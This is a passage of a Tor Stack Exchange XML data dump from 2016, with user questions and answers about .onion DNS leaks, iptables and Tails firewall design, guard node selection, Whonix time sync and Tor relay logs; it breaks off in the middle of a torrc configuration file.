  <row Id="12192" PostTypeId="1" CreationDate="2016-07-23T16:39:26.583" Score="0" ViewCount="4717" Body="&lt;p&gt;I accidentally pasted a onion link on Google Chrome. Usually the links won't open but a VPN extension of mine did the job.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My questions are :&lt;/strong&gt;&lt;br&gt;&#xA;1. Do anyone tracks me just because I have opened .onion link on Chrome or Firefox? (Other than the Tor browser)&lt;br&gt;&#xA;2. Is it very harmful, dangerous when someone tracks me  &lt;em&gt;OR&lt;/em&gt; nothing will happen?&lt;/p&gt;&#xA;" OwnerUserId="13739" LastEditorUserId="9291" LastEditDate="2016-09-07T16:30:02.107" LastActivityDate="2016-09-07T16:30:02.107" Title="What happens if I open .onion links on Chrome or Firefox?" Tags="|onion-services|anonymity|firefox|vpn|chrome|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12193" PostTypeId="2" ParentId="12191" CreationDate="2016-07-23T17:57:05.110" Score="1" Body="&lt;p&gt;&quot;How did it get there&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No idea.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&quot;what is it&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It looks like a Tor network consensus document&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&quot;why did it delete my PHP file&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's a plain text file, it couldn't have.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&quot;how do I prevent this from happening again?&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Since no one has any idea how it happened, no one knows.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-23T17:57:05.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12194" PostTypeId="2" ParentId="2106" CreationDate="2016-07-23T18:25:12.930" Score="1" Body="&lt;p&gt;Not sure about adding more rules but from what I understand having a drop all incoming and outgoing policy is a good thing to start from. Afterward , building your rule-set to punch holes in the wall. The addition of the lo rules is needed in a set up like that so it's good that you added them there. So, since you only have two major rules, EVERYTHING is being piped through Tor. Not sure if you've seen this but there is a blog post about doing this in shorewall. Seems like you did the same exact thing but in iptables. &lt;a href=&quot;https://kromey.us/2013/10/using-shorewall-to-configure-a-tor-isolating-proxy-584.html&quot; rel=&quot;nofollow&quot;&gt;Using Shore wall to configure a Tor isolating proxy.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I would have just commented this, but unfortunately I don't have enough points.) &lt;/p&gt;&#xA;" OwnerUserId="13741" LastActivityDate="2016-07-23T18:25:12.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12195" PostTypeId="2" ParentId="12192" CreationDate="2016-07-23T19:56:48.357" Score="1" Body="&lt;p&gt;It will ask your dns  server about wahteveroniondomain.onion, the dns server will have your ip and your isp could know about this request (DNS is not encrypted and often times your ISP runs the dns server you use by default). I have never heard of such tracking and you would likely be find and nothing would happen.&lt;/p&gt;&#xA;" OwnerUserId="7711" LastActivityDate="2016-07-23T19:56:48.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12196" PostTypeId="2" ParentId="12190" CreationDate="2016-07-23T20:41:02.877" Score="2" Body="&lt;p&gt;The feature is already available, it's under the settings menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However uptime isn't the only factor to consider.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Most phones will not have enough processing power to throughput a significant amount of traffic.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Most network providers will be behind some kind of NAT'd connection and it would be difficult if not impossible to allow users to connect to your devices ORPort.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Phones will often move between different network types, opportunistically using available wireless connections. These transitions would make them unusable until the next consensus was published.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So while there is no reason a phone &lt;em&gt;can't&lt;/em&gt; provide a relay, there are quite a few reasons that it likely wouldn't provide a very good or useful one.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-23T20:41:02.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12197" PostTypeId="2" ParentId="12192" CreationDate="2016-07-23T21:58:01.217" Score="2" Body="&lt;p&gt;I've no idea how your &amp;quot;VPN extension&amp;quot; loaded the onion but I have heard of some VPN providers who will proxy .onion. In these cases the VPN provider gets to see all your traffic to the onion, it's not encrypted at all when traversing the VPN providers network. This clearly breaks the end-to-end encryption properties of an onion address.&lt;/p&gt;&#xA;&lt;p&gt;As for putting an onion address into applications, there is now &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc7686&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC 7686&lt;/a&gt; which sets aside the .onion domain as a special use case, any applications which respect this RFC should throw an error if they're not able to use Tor to access it. However, clearly not all applications implement this RFC. This &lt;em&gt;should&lt;/em&gt; stop them from from leaking addresses you try to visit through DNS requests.&lt;/p&gt;&#xA;&lt;p&gt;If a leak does occur then anyone between you and the DNS resolver will know that you tried to resolve the .onion address. We've known for some years now that these kinds of leaks are actively being watched for by intelligence agencies, as evidenced by the &lt;a href=&quot;https://edwardsnowden.com/docs/docs/tor-stinks-presentation.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Tor Stinks&amp;quot;&lt;/a&gt; NSA slide deck.&lt;/p&gt;&#xA;&lt;p&gt;On Dumb Users (EPICFAIL):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Analytics: Dumb Users (EPICFAIL) (S//SI)&lt;/p&gt;&#xA;&lt;p&gt;GCHQ QFD that looks for Tor users when they&#xA;are not using Tor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;On DNS:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Analytics: DNS (TS//SI)&lt;/p&gt;&#xA;&lt;p&gt;How does Tor handle DNS requests? Are DNS&#xA;requests going through Tor? Does this depend&#xA;on how the target is using Tor?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I would expect that anything intelligence agencies were doing half a decade ago, other smaller adversaries too would be performing now &lt;em&gt;(e.g. Law enforcement, private intelligence and surveillance companies)&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2016-07-23T21:58:01.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12198" PostTypeId="1" CreationDate="2016-07-24T03:39:35.947" Score="1" ViewCount="334" Body="&lt;p&gt;I've successfully setup a way to access the tor network via my iPhone. The only thing that's missing is .onion links. I assume that the DNS lookup fails because its not a real world valid domain extension. I was wondering how I could tell my iPhone otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I have to use a PAC function in the .pac file? If so, what one and where do I point it to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To connect my iPhone to the Tor network I installed tor on my Raspberry Pi, as well as apache. I allowed Tor to accept connections from any device on the network. Placed a .pac file in the root of my web server and its contents are as follows:&#xA;&lt;code&gt;&#xA;function FindProxyForURL(url, host){&#xA;    return &quot;SOCKS 10.0.1.14:9050&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The DNS settings on my iPhone are default:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DNS 10.0.1.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search Domains &quot;blah.blah.internetserviceprovider.net&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To connect to Tor I specified the proxy as automatic and to the Raspberry Pi's IP, which in this case was 10.0.1.14.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So together the url was &lt;a href=&quot;http://10.0.1.14/proxy.pac&quot; rel=&quot;nofollow&quot;&gt;http://10.0.1.14/proxy.pac&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works perfectly to mask my IP and DNS, but .onion is not available&lt;/p&gt;&#xA;" OwnerUserId="13648" LastEditorUserId="13648" LastEditDate="2016-07-25T02:50:53.120" LastActivityDate="2016-07-25T02:50:53.120" Title="Use .onion with iPhone" Tags="|network-configuration|dns|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12200" PostTypeId="1" AcceptedAnswerId="12202" CreationDate="2016-07-24T21:25:16.010" Score="0" ViewCount="88" Body="&lt;p&gt;No entiendo bien el significado de las 3 últimas lineas de el registro de Tor.&#xA;Es correcta la configuración de mi archivo Torrc?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jul 23 21:01:19.000 [notice] Tor 0.2.7.6 (git-605ae665009853bd) opening new log file.&#xA;Jul 24 01:44:03.000 [notice] Interrupt: we have stopped accepting new connections, and will shut down in 30 seconds. Interrupt again to exit now.&#xA;Jul 24 01:44:33.000 [notice] Clean shutdown finished. Exiting.&#xA;Jul 24 21:18:16.000 [notice] Tor 0.2.7.6 (git-605ae665009853bd) opening log file.&#xA;Jul 24 21:18:16.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.&#xA;Jul 24 21:18:16.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.&#xA;Jul 24 21:18:16.000 [notice] Configured to measure statistics. Look for the *-stats files that will first be written to the data directory in 24 hours from now.&#xA;Jul 24 21:18:16.000 [warn] Unable to parse '/etc/resolv.conf', or no nameservers in '/etc/resolv.conf' (6)&#xA;Jul 24 21:18:16.000 [warn] Couldn't set up any working nameservers. Network not up yet?  Will try again soon.&#xA;Jul 24 21:18:17.000 [notice] Your Tor server's identity key fingerprint is 'delfininterior DDA6FC85FEC510B479382CC3A0F2B543727202CA'&#xA;Jul 24 21:18:17.000 [notice] Bootstrapped 0%: Starting&#xA;Jul 24 21:18:53.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Jul 24 21:18:54.000 [notice] Guessed our IP address as 47.61.152.79 (source: 86.59.21.38).&#xA;Jul 24 21:18:56.000 [notice] Bootstrapped 85%: Finishing handshake with first hop&#xA;Jul 24 21:18:56.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Jul 24 21:18:56.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Jul 24 21:18:56.000 [notice] Bootstrapped 100%: Done&#xA;Jul 24 21:18:56.000 [notice] Now checking whether ORPort 47.61.152.79:9001 and DirPort 47.61.152.79:9030 are reachable... (this may take up to 20 minutes -- look for log messages indicating success)&#xA;Jul 24 21:18:59.000 [notice] Self-testing indicates your DirPort is reachable from the outside. Excellent.&#xA;Jul 24 21:19:00.000 [notice] Self-testing indicates your ORPort is reachable from the outside. Excellent. Publishing server descriptor.&#xA;Jul 24 21:19:02.000 [notice] Performing bandwidth self-test...done.&#xA;Jul 24 21:31:55.000 [notice] Received reload signal (hup). Reloading config and resetting internal state.&#xA;Jul 24 21:31:55.000 [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;Jul 24 21:31:55.000 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13748" LastEditorUserId="12737" LastEditDate="2016-07-24T21:28:01.710" LastActivityDate="2016-07-24T21:33:42.990" Title="Configuración Tor servidor" Tags="|configuration|" AnswerCount="1" CommentCount="2" ClosedDate="2016-07-29T18:53:24.493" ContentLicense="CC BY-SA 3.0" />
  <row Id="12201" PostTypeId="2" ParentId="12189" CreationDate="2016-07-24T21:26:19.217" Score="1" Body="&lt;p&gt;The reason you're failing to start Tor Browser is that you do not have &lt;code&gt;bash&lt;/code&gt; installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per &lt;a href=&quot;http://doc.slitaz.org/en:handbook:systemutils#bash-shell&quot; rel=&quot;nofollow&quot;&gt;their documentation&lt;/a&gt;, you need to install bash, however you don't need to &quot;edit the /etc/passwd file with your favorite text editor and change your shell&quot; &lt;em&gt;(Ew!)&lt;/em&gt; it just needs to be installed and somewhere within one of the directories in &lt;code&gt;$PATH&lt;/code&gt; so that it can be found by &lt;code&gt;env&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're also missing some other tools that the script uses, &lt;code&gt;getconf&lt;/code&gt; and &lt;code&gt;file&lt;/code&gt; which are standard system utilities normally available under GNUs &lt;code&gt;coreutils&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I anticipate further problems once you've solved those. Likely with missing libraries like dbus-glib or others required by &lt;code&gt;firefox&lt;/code&gt; itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you're using a i386 userspace then you should be using 32bit tor browser, even if the kernel is amd64 otherwise you're probably going to end up with multilib hell.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-07-26T02:16:13.490" LastActivityDate="2016-07-26T02:16:13.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12202" PostTypeId="2" ParentId="12200" CreationDate="2016-07-24T21:33:42.990" Score="0" Body="&lt;p&gt;The last 3 lines mean that Tor has received a signal from the kernel, that signal tells it to reload it's configuration, which is has done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has found no problems with the configuration and should function normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes this can happen as a result of services like &lt;code&gt;logrotate&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-24T21:33:42.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12204" PostTypeId="1" CreationDate="2016-07-25T09:02:09.033" Score="0" ViewCount="543" Body="&lt;p&gt;I just somehow worry about connecting TBB to the same entry node which may be hacked / surveillenced. &#xA;Will it be more safe if I used uMatrix add-on in TBB to spoof my network identiies (I also spoof MAC address each time), and then change the first entry node each time?  Moreover, how do you suggest to change the first entry node? I just blocked the node IP by my firewall.&lt;/p&gt;&#xA;" OwnerUserId="13755" LastActivityDate="2016-07-25T17:21:35.203" Title="Using uMatrix add-on in TBB and changing first entry node each time?" Tags="|tor-browser-bundle|guard|" AnswerCount="1" CommentCount="1" ClosedDate="2016-07-29T19:03:56.583" ContentLicense="CC BY-SA 3.0" />
  <row Id="12207" PostTypeId="1" CreationDate="2016-07-25T17:12:53.293" Score="2" ViewCount="1437" Body="&lt;p&gt;The Tor Browser ( 6.0.2 ) keeps on crashing on MAC ox ( 10.11.6 ) i can't visit a site for more than 1 minutes before it crashes and have to restart &lt;/p&gt;&#xA;&#xA;&lt;p&gt;can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="13758" LastActivityDate="2016-09-22T15:29:18.547" Title="tor browser crashes every time on mac" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12208" PostTypeId="2" ParentId="12204" CreationDate="2016-07-25T17:21:35.203" Score="0" Body="&lt;h3&gt;&quot;Will it be more safe if I used uMatrix add-on in TBB to spoof my network identiies (I also spoof MAC address each time), and then change the first entry node each time?&quot;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;No. You will only be more vulnerable to tracking, and deanonymisation.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;uMatrix &quot;spoofing&quot; identities will fail, see &lt;a href=&quot;https://tor.stackexchange.com/questions/11701/most-common-tor-browser-configuration-panopticlick/11705#11705&quot;&gt;this answer for more details.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Changing entry node all the time means that if there were a bad guard and exit pair trying to deanonymise users, you'd be far more likely to be deanonymised just by chance, and vulnerable to an attack where the exit forces you to be deanonymised by making you pick its evil guard. See &lt;a href=&quot;https://blog.torproject.org/blog/improving-tors-anonymity-changing-guard-parameters&quot; rel=&quot;nofollow&quot;&gt;this blog post&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-25T17:21:35.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12210" PostTypeId="1" CreationDate="2016-07-25T21:18:25.683" Score="0" ViewCount="155" Body="&lt;p&gt;I'm looking for easy to remember names in a terabyte of generated .onion addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence I need the opposite of a password generator, that scans for a easy to remember pattern that I can use for a HSP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Desired traits include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;US Dictionary match&lt;/li&gt;&#xA;&lt;li&gt;Repeating characters&lt;/li&gt;&#xA;&lt;li&gt;Sequential letters/numbers&lt;/li&gt;&#xA;&lt;li&gt;Patterns&lt;/li&gt;&#xA;&lt;li&gt;???&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How should I approach my search of pre-generated keys in XML form? &lt;/p&gt;&#xA;" OwnerUserId="247" LastActivityDate="2017-04-29T21:06:19.597" Title="How can I bulk search Scallion XML output for easy to remember names?" Tags="|onion-services|customization|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12213" PostTypeId="1" CreationDate="2016-07-26T03:54:11.553" Score="1" ViewCount="1832" Body="&lt;p&gt;Does tails have a penetrable firewall?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently tails firewall has a very complicated structure to it. It is difficult to say if the firewall is penetrable or not. One might think it is not when it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently tails firewall allows both encrypted and unencrypted TCP data to go through it. This is evident as tails still has the unsecured browser. Tails may be made a more secure OS by preventing the firewall from allowing unencrypted data. This may prevent a local hack against tails or an attack directed against tails from the ISP or an attacker hacking the ISP to hack a tails OS. There are some OS that are used on routers that  can route based on protocol. It may be possible to route of TLS/SSL data. This is called policy based routing. Policy based routing is present in DD-WRT routers. This routing method combined with dropping all the packets that are not in the policy may result in a pure encrypted data. I am not saying to make tails a routing OS but use something similar to this function to make tails OS more secure. Using this in tails OS or something similar like that may prevent the unintended (unencrypted) data packets from getting through the firewall in tails OS. This may make tails a more secure OS. Yes this will mean that the unsecured browser will need to be removed from the tails OS. I believe that the Unsecured browser is hardly used on tails and would not be missed. I for one have  never used it. If you need to keep the unsafe browser for captive portals then you could may be have it be included as an option on start up like the browser used for hidden services and start tails in an unsecured mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be more secure if tails were to drop all TCP unencrypted data? Could this be done to tails firewall?&lt;/p&gt;&#xA;" OwnerUserId="13753" LastEditorUserId="13753" LastEditDate="2016-07-26T13:04:32.227" LastActivityDate="2017-04-22T23:11:42.933" Title="Does tails have a penetrable firewall?" Tags="|security|tails|firewall|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12214" PostTypeId="2" ParentId="12213" CreationDate="2016-07-26T06:24:08.693" Score="1" Body="&lt;h3&gt;&amp;quot;Tails may be made a more secure OS by preventing the firewall from allowing unencrypted data.&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;No. There is no meaningful way to discern between &amp;quot;encrypted&amp;quot; an &amp;quot;unencrypted&amp;quot;. Furthermore day-to-day network usage (DHCP, etc) depend on it being able to send unencrypted traffic and access to &amp;quot;captive portals&amp;quot; and local resources are required by many of it's use cases.&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;This may prevent a local hack against tails or an attack directed against tails&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;No, there's no reason the attacker couldn't exfiltrate and serve the attack over an encrypted channel.&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;There are some OS that are used on routers that can route based on protocol.&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;Many Pluggable Transports don't appear as a distinct or recognisable protocol for their transport encryption. A packet filter could not recognise them. This would break censorship circumvention.&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;I for one have never used [the Unsafe Browser]&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;That's great but Tails wasn't built for you alone and plenty of legitimate use cases depend on it. The suggestion to only enable it if the user requires it is a nice idea but as mentioned &lt;a href=&quot;https://tails.boum.org/doc/advanced_topics/lan/&quot; rel=&quot;nofollow noreferrer&quot;&gt;access to local resources is within it's intended use cases&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Enabling the Unsafe Browser from the greeter alone is probably a reasonable step to take (though I'm not convinced you actually understand why this might be, and hopefully in the near-future will be irrelevant) but since local network access is required for general use (DHCP, etc) it is not trivial to stop entirely. It would require significant effort to implement and would likely not provide coverage of these vectors.&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;Would it be more secure if tails were to drop all TCP unencrypted data?&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;Could this be done to tails firewall?&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;No packet filter can provide this functionality (just ask &lt;a href=&quot;https://en.wikipedia.org/wiki/G%C3%B6del%27s_incompleteness_theorems&quot; rel=&quot;nofollow noreferrer&quot;&gt;Godel&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Also, Tails' iptable rules are generated by &lt;code&gt;ferm&lt;/code&gt; which has a far more readable config file that it generates the rules from, with comments too. See &lt;a href=&quot;https://git-tails.immerda.ch/tails/plain/config/chroot_local-includes/etc/ferm/ferm.conf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;config/chroot_local-includes/etc/ferm/ferm.conf&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-07-26T18:04:40.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12215" PostTypeId="1" AcceptedAnswerId="12216" CreationDate="2016-07-26T18:39:25.010" Score="0" ViewCount="74" Body="&lt;p&gt;If I run tor through socks proxy (127.0.0.1:9050) installed from &lt;code&gt;sudo apt install tor&lt;/code&gt; on linux mint 18 and I browse with the tor browser bundle, does that mean I going through 6 relays? If so how could I configure back to 3 relays on my tor browser?&lt;/p&gt;&#xA;" OwnerUserId="13768" LastEditorUserId="13768" LastEditDate="2016-07-29T13:16:47.860" LastActivityDate="2016-07-29T13:16:47.860" Title="Questions about tor, tor browser and the possibility of 6 relays stacking" Tags="|tor-browser-bundle|configuration|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12216" PostTypeId="2" ParentId="12215" CreationDate="2016-07-26T20:20:17.190" Score="3" Body="&lt;p&gt;No, the Tor Browser will launch it's own &lt;code&gt;tor&lt;/code&gt; process by default and both will connect to the Tor network separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So unless you've knowingly configured your system daemon instance of &lt;code&gt;tor&lt;/code&gt; to act as a transparent proxy and set some &lt;code&gt;iptables&lt;/code&gt; rules to enforce it, you will not be creating a &quot;Tor-over-Tor&quot; situation (I.E. you won't be connecting through &quot;6 relays&quot;). They are intended to play nice together.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-26T20:20:17.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12218" PostTypeId="1" CreationDate="2016-07-27T14:14:44.997" Score="0" ViewCount="163" Body="&lt;p&gt;I am using Qubes-Whonix. For a while now I have noticed, by monitoring ARM, that Tor attempts to connect to various random hidden services. Unplugging my connection results in rows of the following:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;[notice] Tried for 126 seconds to get a connection to [onion URL]. Giving up.&quot;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;During regular operations, I sometimes find this manner of messages:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;[notice] Closing stream for [onion URL]: hidden service is unavailable (try again later).  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am not setup as a relay. Is this normal behavior?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also does not help that today, while reading through the tor logs in a separate terminal window, ARM asked me to press 'c' in order to confirm if I want to purge the logs, all by itself. Visual glitches are not rare either. &lt;/p&gt;&#xA;" OwnerUserId="13773" LastActivityDate="2016-07-27T14:27:27.600" Title="Is it normal for Tor to randomly connect to various hidden services?" Tags="|whonix|nyx|qubes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12219" PostTypeId="2" ParentId="12218" CreationDate="2016-07-27T14:27:27.600" Score="1" Body="&lt;p&gt;Not normal for Tor, but normal for Whonix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's sdwdate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details:&#xA;&lt;a href=&quot;https://www.whonix.org/wiki/Dev/TimeSync&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/wiki/Dev/TimeSync&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2016-07-27T14:27:27.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12220" PostTypeId="1" CreationDate="2016-07-27T15:21:21.847" Score="1" ViewCount="583" Body="&lt;p&gt;I am new at tor. I want to use it on my android to visit websites but I don't want the site admins to know my real IP or my device (android) info. Sorry if I am totally misunderstanding this whole thing, but will Tor prevent the sites from knowing what my android serial # is, what brand of android phone I use, stuff like that? Can they know any info about my device? &lt;/p&gt;&#xA;" OwnerUserId="13775" LastActivityDate="2016-07-27T18:26:56.877" Title="Is Tor for android secure?: will it hide my real IP and device info?" Tags="|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12221" PostTypeId="1" CreationDate="2016-07-27T17:48:30.777" Score="1" ViewCount="533" Body="&lt;p&gt;On desktop version of Tor, I want to change the user agent in the configuration, just to be able to visit mobile sites. &#xA;If it's safe, could you tell me how to choose One? (It seems I can choose general.useragent.override, but when I choose it and hit enter, nothing happens.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;br&gt;&#xA;Sorry, safe against ... I don't even know, but when I go to about:config, it gives me a warning &quot;you could void warranty = conpromise security?&quot;&lt;/p&gt;&#xA;" OwnerUserId="13777" LastEditorUserId="13777" LastEditDate="2016-07-28T04:57:44.963" LastActivityDate="2016-07-29T16:04:23.810" Title="How do I change user agent to mobile device? And is it safe?" Tags="|configuration|mobile|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12222" PostTypeId="2" ParentId="12220" CreationDate="2016-07-27T18:26:56.877" Score="1" Body="&lt;p&gt;No one can make a 100% guarantee of these things, and generally speaking the question &quot;Is x secure?&quot; or &quot;Is x safe?&quot; is only even meaningful in the context of &lt;em&gt;&quot;...against y&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If programs use Tor incorrectly and don't respect your privacy or weren't designed for anonymity, they may reveal both your IP and information about your device.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use only trust&lt;em&gt;worthy&lt;/em&gt; programs, which make a good-faith effort to preserve your anonymity. &lt;em&gt;(Are they open-source? Do they give warnings about misuse and guides on how to use them properly? Do they fix bugs?)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;iptables&lt;/code&gt; to block accidental or malicious leaks of packets outside of tor.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-27T18:26:56.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12226" PostTypeId="1" CreationDate="2016-07-28T08:22:11.863" Score="0" ViewCount="209" Body="&lt;p&gt;I'm new into TOR Network and I got a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw on this page (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=331077.80&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=331077.80&lt;/a&gt;) that this torcc config file is better than the default one for your anonymity&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my torcc config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Configuration file for a typical Tor user&#xA;## Last updated 9 October 2013 for Tor 0.2.5.2-alpha.&#xA;## (may or may not work for much older or much newer versions of Tor.)&#xA;##&#xA;## Lines that begin with &quot;## &quot; try to explain what's going on. Lines&#xA;## that begin with just &quot;#&quot; are disabled commands: you can enable them&#xA;## by removing the &quot;#&quot; symbol.&#xA;##&#xA;## See 'man tor', or https://www.torproject.org/docs/tor-manual.html,&#xA;## for more options you can use in this file.&#xA;##&#xA;## Tor will look for this file in various places based on your platform:&#xA;## https://www.torproject.org/docs/faq#torrc&#xA;&#xA;## Tor opens a socks proxy on port 9050 by default -- even if you don't&#xA;## configure one below. Set 